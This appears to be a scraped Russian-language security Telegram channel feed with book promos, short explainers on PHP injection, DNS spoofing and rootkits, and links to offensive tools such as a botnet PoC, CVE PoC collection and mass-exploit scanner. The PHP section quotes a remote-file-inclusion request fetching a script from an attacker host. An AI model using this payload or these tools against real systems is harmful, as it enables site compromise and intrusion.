White Hat

📚 Книга: Black Hat Go. Программирование для хакеров и пентестеров — Вы начнете с базового обзора синтаксиса языка и стоящей за ним философии, после чего перейдете к изучению примеров, которые пригодятся для разработки инструментов. Вас ждет знакомство с протоколами HTTP, DNS и SMB. Далее вы перейдете к изучению различных тактик и задач, с которыми сталкиваются пентестеры, рассмотрите такие темы, как кража данных, сниффинг сетевых пакетов и разработка эксплойтов. Вы научитесь создавать динамические встраиваемые инструменты, после чего перейдете к изучению криптографии, атаке на Windows и стеганографии. ⏺ Ссылка на книгу #blackhat #books

🔐 Получайте полезную информацию и поддержку для ИТ-бизнеса от команды экспертов iiii Tech! Узнайте, как быстро адаптироваться к изменяющимся реалиям российского ИТ-рынка. Присоединяйтесь к нашему телеграм-каналу "Взаимопомощь для ИТ и бизнеса". 💼💻 🚀 Специалисты iiii Tech делятся своим опытом и ценными знаниями, помогая ИТ-предприятиям эффективно справляться с вызовами. Узнайте о передовых практиках, инновационных решениях и секретах успешного ИТ-бизнеса. ▪️Узнайте, в чем особенность бутикового подхода в поддержке пользователей  ▪️ В чем польза облачных платформ для бизнеса в России ▪️ Что такое ISM - управление информационной безопасностью, как сервис?  А еще команда специалистов Форайз запустили свой подкаст, в котором обсуждают актуальные темы из мира IT Подписывайтесь, будет интересно!

💉 PHP-инъекция: Введение PHP-инъекция — один из способов взлома веб-сайтов, работающих на PHP. Он заключается в том, чтобы внедрить специально сформированный сценарий в код веб-приложения на серверной стороне сайта, что приводит к выполнению произвольных команд. — Известно, что во многих распространённых в интернете бесплатных движках и форумах, работающих на PHP (чаще всего это устаревшие версии) есть непродуманные модули или отдельные конструкции с уязвимостями. Крэкеры анализируют такие уязвимости как неэкранированные переменные, получающие внешние значения. Например, старая уязвимость форума ExBB использовалась запросом: GET /modules/threadstop/threadstop.php?new_exbb[home_path]=evilhackerscorp.com/tx.txt. #PHP #Injection

В этом году на SOC-Forum команды защитников и атакующих схлестнутся в ожесточённой кибербитве за удержание контроля над критической инфраструктурой. Открываем прием заявок для 🟥Red Team🟥: тех, кто сможет дестабилизировать социально-экономическую обстановку в кибервысотке. Когда: 14 ноября Формат: онлайн Команда: 5–6 человек Оставляйте заявку на сайте SOC-Forum до 24 октября и участвуйте в «Кибербитве». Реклама. Рекламодатель: ООО "РТК ИБ", ОГРН 1167746458065

🥷 DNS spoofing: Введение DNS-спуфинг, также известный как отравление кэша DNS, является одной из форм взлома компьютерных сетей, в котором данные кэша доменных имен изменяются злоумышленником, с целью возврата ложного IP-адреса. В статье вы узнаете, о том, что такое DNS-атаки, как они работают и как с ними бороться. 🗄 Ссылка на telegra.ph #DNS #spoofing

💻 Руткит: что такое и чем он опасен Руткит (англ. rootkit, то есть «набор root-а») — набор программных средств (исполняемых файлов, скриптов, конфигурационных файлов), обеспечивающих: — маскировку объектов (процессов, файлов, каталогов, драйверов); — управление (событиями, происходящими в системе); — сбор данных (параметров системы). Термин Rootkit исторически пришёл из мира UNIX, и под этим термином понимается набор утилит или специальный модуль ядра, которые хакер устанавливает на взломанной им компьютерной системе сразу после получения прав суперпользователя. Этот набор, включает в себя разнообразные утилиты для «заметания следов» вторжения в систему, делает незаметными снифферы, сканеры, кейлоггеры, троянские программы, замещающие основные утилиты UNIX. ❗️ В систему руткит может быть установлен различными способами: загрузка посредством эксплойта, после получения шелл-доступа (в таком случае, может использоваться средство типа wget или исходный FTP-клиент для загрузки руткита с удаленного устройства), в исходном коде или ресурсах программного продукта. #rootkit

👺 Подборка PoC для различных CVE Полезный, регулярно обновляемый репозиторий для багбаунти, redteam и пентеста, содержащий подборку материалов по различным CVE уязвимостям. ⏺ Ссылка на Github #CVE #PoC

😧 EndeavourOS Endeavour OS даёт возможность пользователю без лишних усложнений установить Arch Linux с необходимым рабочим столом в том виде, каким он задуман в своей штатной начинке, предлагаемой разработчиками выбранного рабочего стола, без дополнительных предустановленных программ. Дистрибутив предлагает простой инсталлятор, где возможно установить один из типовых рабочих столов на основе Mate, LXQt, Cinnamon, KDE Plasma, GNOME, Budgie, а также мозаичных оконных менеджеров і3, BSPWM и Sway. Ведётся работа по добавлению поддержи оконных менеджеров Qtile и Openbox, рабочих столов UKUI, LXDE и Deepin. Xfce стоит по умолчанию. ⏺ Ссылка на GitHub #Arch #Linux

🤯 smxi — управление Debian дистрибутивами smxi - инструмент командной строки для управления дистрибутивами Linux на основе Debian (кроме Ubuntu подобных) Каковы возможности данного инструмента: - Автоматическая установка драйверов GPU вместе с необходимыми патчами (даже nVidia) - Установка программного обеспечения (от простого пакета до полноценной среды рабочего стола) - Удаление любого данного программного обеспечения - Очистка системы (очистка кеша АРТ, удаление старых ядер и модулей ядра и т. Д.) - Управление и развертывание обновлений системы Обновления ядра / обновления модуля ядра ⏺ Ссылка на GitHub #Debian #Tools

PngBin Инструмент преобразование любых двоичных данных в файл изображения PNG и наоборот. — Изображение, созданное PngBin, будет иметь все свойства, как и обычное изображение PNG, за исключением того, что при просмотре оно будет выглядеть сломанным и с шумом. При этом эти изображения можно легко загрузить на любой хостинг изображений и использовать его как файловое хранилище. ⏺ Ссылка на GitHub #binary #image

Holehe OSINT Эффективный поиск зарегистрированных аккаунтов по электронной почте. Holehe проверяет, привязана ли электронная почта к учетной записи на таких сайтах, как twitter, instagram, imgur и более 120 других. ⏺ Ссылка на GitHub #OSINT #email

makedeb makedeb - это инструмент для создания .deb-пакетов для систем на основе Debian и Ubuntu. makedeb стремится быть простым и легким в использовании, оставаясь таким же мощным, как и стандартные инструменты Debian. ⏺ Ссылка на GitHub #Linux #package

👁 Prevue Popup Браузерное расширение, позволяющее пользователям просматривать содержимое внутренних ссылок на странице, не покидая ее. ⏺ Ссылка на GitHub #quick #view

🚠 wireproxy wireproxy - это клиент Wireguard, но работающий как прокси socks5 Это может быть полезно, если вам нужно подключиться к определенным сайтам через одноранговый узел wireguard, но по каким-либо причинам вы не можете создать новый сетевой интерфейс (отсутствие root и т.д.) ⏺ Ссылка на GitHub #proxy

🙌 sqltorrent — VFS для sqlite Sqltorrent - это настраиваемая VFS для sqlite, которая позволяет приложениям запрашивать базу данных sqlite, содержащуюся в торренте. Запросы могут быть обработаны даже если файл базы данных все еще загружается. Части файла, необходимые для выполнения запроса, имеют приоритет, поэтому запросы выполняются достаточно быстро, даже если загружена лишь небольшая часть всей базы данных. ⏺ Ссылка на GitHub #sql

Инструмент поиска XSS в AngularJS Инструмент SSTI-XSS-Finder позволяет собирать из Shodan поддомены, которые используют технологию AngularJS, и предоставляет нам полезную нагрузку XSS, связанную с AngularJS-версией этого поддомена. ./SSTI-XSS-Finder.sh <Shodan-Dork> Примеры дорков: org:target hostname:target.com net:127.0.0.1 ⏺ Ссылка на GitHub #Web #XSS

✔️ Websurfx - конфиденциальный поисковик Websurfx - это поисковая система с открытым исходным кодом, альтернатива знаменитого Searx, которая делает упор на конфиденциальность, безопасность и скорость, обеспечивая при этом органические результаты поиска. Websurfx предлагает результаты без рекламы, имеет девять цветовых схем. Проект написан на Rust. ⏺ Ссылка на GitHub #search #web

🦠 HTTP ботнет на C++ с открытым исходным кодом Uboat - PoC HTTP-ботнета, предназначенный для репликации реального боевого коммерческого ботнета. Основная цель создания этого проекта состоит в том, чтобы помочь исследователям в области безопасности улучшить понимание устройства и работы коммерческих HTTP ботнетов. ⏺ Ссылка на GitHub #Malware

🔎 Nginxpwner — поиск уязвимостей Nginx Nginxpwner - это крайне простой в использовании инструмент для поиска распространенных неправильных конфигураций и уязвимостей Nginx. ⏺ Ссылка на GitHub #nginx

🔎 vMass Bot — сканер уязвимостей vMass Bot - сканер уязвимостей и инструмент автоматического тестирования на проникновение, 108 эксплойтов в текущей версии. vMass Bot может генерировать списки хостов из диапазонов IP- адресов, списка URL-адресов, низкопрофильных дорков dotenv и извлечений из поисковиков или вы можете использовать диапазоны IP-адресов от различных хостинг- провайдеров. ⏺ Ссылка на GitHub #Recon #Web